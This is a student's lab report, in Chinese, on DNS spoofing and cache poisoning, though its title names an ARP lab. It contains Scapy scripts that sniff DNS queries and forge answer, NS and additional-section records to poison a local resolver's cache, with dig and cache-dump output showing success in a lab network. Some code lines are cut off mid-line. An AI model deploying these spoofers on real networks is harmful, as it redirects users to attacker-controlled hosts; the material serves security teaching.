Chapter 4:ARP Cache Poisoning Attack Lab

57118132 吴嘉琪
852809049@qq.com

Southeast University — 2021 年 7 月 22 日

测试初始环境

获得ns.attacker32.com的IP

```
# dig ns.attacker32.com

; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31106
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 13781f5802fa3e8c0100000060f93d15bd8ea2cd6b4b2379 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 09:40:37 UTC 2021
;; MSG SIZE  rcvd: 90
```

获得www.example.com的IP 直接询问无法获取

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; connection timed out; no servers could be reached
```

通过询问ns.attacker.com才能获取

```
# dig @ns.attacker32.com www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65082
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: ff8961a2e3e7497d0100000060f93e7801d1eb30ab00cba4 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Thu Jul 22 09:46:32 UTC 2021
;; MSG SIZE  rcvd: 88
```

Task 1:Directly Spoofing Response to User

attacker中运行恶意代码，捕获dns包并且伪造假包。其中Anssec即我们伪造的返回，其中的rdata为虚假的解析地址。

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                 ttl=259200, rdata='1.2.3.4')
```

```
    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,
                 qdcount=1, ancount=1, nscount=2, arcount=2,
                 an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53'
pkt = sniff(iface='br-bf67048d93a1', filter=f, prn=spoof_dns)
```

attackeruser中进行查询，可以看到返回了伪造的1.2.3.4。

```
 dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39110
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 74 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 10:10:50 UTC 2021
;; MSG SIZE  rcvd: 64
```

Task 2:DNS Cache Poisoning Attack – Spoofing Answers

attacker的过滤器改为只捕获ip源为local dns server的ip,DNSpkt的参数也相应修改。

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_dns(pkt):
  if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-8')):

    # Swap the source and destination IP address
    IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
```

```
    # Swap the source and destination port number
    UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

    # The Answer Section
    Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',
                   ttl=259200, rdata='1.2.3.4')

    # Construct the DNS packet
    DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, rd=0, qr=1,
                 qdcount=1, ancount=1,
                 an=Anssec)

    # Construct the entire IP packet and send it out
    spoofpkt = IPpkt/UDPpkt/DNSpkt
    send(spoofpkt)

# Sniff UDP query packets and invoke spoof_dns().
f = 'udp and dst port 53 and ip src 10.9.0.53'
pkt = sniff(iface='br-bf67048d93a1', filter=f, prn=spoof_dns)
```

user首先进行DNS查询，可以发现结果正常。

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 17151
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 1465d3136c440b440100000060f948311c2745915135bf0f (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        85220   IN      A       93.184.216.34

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 10:28:01 UTC 2021
```

```
;; MSG SIZE  rcvd: 88
```

attacker执行恶意代码，user再次查询DNS。

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24706
;; flags: qr; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 16 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 10:51:48 UTC 2021
;; MSG SIZE  rcvd: 64
```

查看local dns server的缓存

```
# cat /var/cache/bind/dump.db|grep example
_.example.com.          863845  A       1.2.3.4
www.example.com.        863845  A       1.2.3.4
```

Task 3:Spoofing NS Records

攻击代码如下

```
#!/usr/bin/env python3
from scapy.all import*
import sys

NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip= IP(src=pkt[IP].dst,dst=pkt[IP].src)
                udp = UDP(dport=pkt[UDP].sport,sport=53)
                Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdat
                NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='n
                dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1
```

```
                spoofpkt = ip/udp/dns
                send(spoofpkt)
myFilter = "udp and dst port 53"
pkt=sniff(iface='br-1092fdbb0dea', filter=myFilter, prn=spoof_dns)
```

查询，发现攻击成功。

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 32688
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: eca013de9e7d7f390100000060f95395eb41d8e7e22ddabb (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259189  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:16:37 UTC 2021
;; MSG SIZE  rcvd: 88

root@bf5534af1394:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64335
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: fa46a2c11a8164100100000060f953e30454990d7338c291 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A
```

```
;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:17:55 UTC 2021
;; MSG SIZE  rcvd: 89
```

查看缓存

```
cat /var/cache/bind/dump.db|grep example
example.com.            863903  NS      ns.attacker32.com.
_.example.com.          863903  A       10.9.0.153
mail.example.com.       863992  A       1.2.3.6
www.example.com.        863903  A       1.2.3.5
```

Task 4:Spoofing NS Records for Another Domain

攻击代码如下

```
#!/usr/bin/env python3
from scapy.all import*
import sys

NS_NAME = "www.example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip= IP(src=pkt[IP].dst,dst=pkt[IP].src)
                udp = UDP(dport=pkt[UDP].sport,sport=53)
                #Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rd
                NSsec1=DNSRR(rrname='google.com',type='NS',ttl=259200,rdata='ns
                NSsec2=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='n
                dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1
                spoofpkt = ip/udp/dns
                send(spoofpkt)
myFilter = "udp and dst port 53"
pkt=sniff(iface='br-1092fdbb0dea', filter=myFilter, prn=spoof_dns)
```

发现攻击成功

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
```

```
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11392
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 29344a83aa81dbc50100000060f95690e792bf08ae5040d7 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:29:20 UTC 2021
;; MSG SIZE  rcvd: 88
```

把域名改为google.com,重复操作，查询www.example.com攻击成功，查询google无结果攻击失败。查询google无结果，说明只能查一个域名攻击一个。

```
# cat /var/cache/bind/dump.db|grep example
example.com.            863984  NS      ns.attacker32.com.
mail.example.com.       863984  A       1.2.3.6
www.example.com.        863993  A       1.2.3.5
# cat /var/cache/bind/dump.db|grep google
```

Task 5:Spoofing Records in the Additional Section

攻击代码如下

```
#!/usr/bin/env python3
from scapy.all import*
import sys

NS_NAME = "example.com"
def spoof_dns(pkt):
        if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
                print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

                ip= IP(src=pkt[IP].dst,dst=pkt[IP].src)
                udp = UDP(dport=pkt[UDP].sport,sport=53)
                Anssec=DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata=
                NSsec1=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='n
                NSsec2=DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='n
                Addsec1=DNSRR(rrname='ns.attacker32.com',type='A',ttl=259200,rda
                Addsec2=DNSRR(rrname='ns.example.com',type='A',ttl=259200,rdata=
```

```
                Addsec3=DNSRR(rrname='www.facebook.com',type='A',ttl=259200,rdat
                dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1
                spoofpkt = ip/udp/dns
                send(spoofpkt)
myFilter = "udp and dst port 53"
pkt=sniff(iface='br-1092fdbb0dea', filter=myFilter, prn=spoof_dns)
```

www.example.com查询，发现攻击成功，发挥作用的是ns的伪造报文，而非写在响应里的8.8.8.8。这个和task4的观察是一样的。缓存中没有facebook。而8.8.8.8攻击成功的只有_.example.com

```
# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55931
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: aaed39f8bfa2b9810100000060f9599d0568561929aae525 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259163  IN      A       1.2.3.5

;; Query time: 4 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:42:21 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@5a86ac3543c5:~# cat /var/cache/bind/dump.db|grep example
example.com.            863881  NS      ns.attacker32.com.
_.example.com.          863881  A       6.6.6.6
www.example.com.        863881  A       1.2.3.5
root@5a86ac3543c5:~# cat /var/cache/bind/dump.db|grep attacker32
ns.attacker32.com.      615481  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
example.com.            863881  NS      ns.attacker32.com.
; ns.attacker32.com [v4 TTL 1681] [v6 TTL 10681] [v4 success] [v6 nxrrset]
root@5a86ac3543c5:~# cat /var/cache/bind/dump.db|grep facebook
root@5a86ac3543c5:~#
```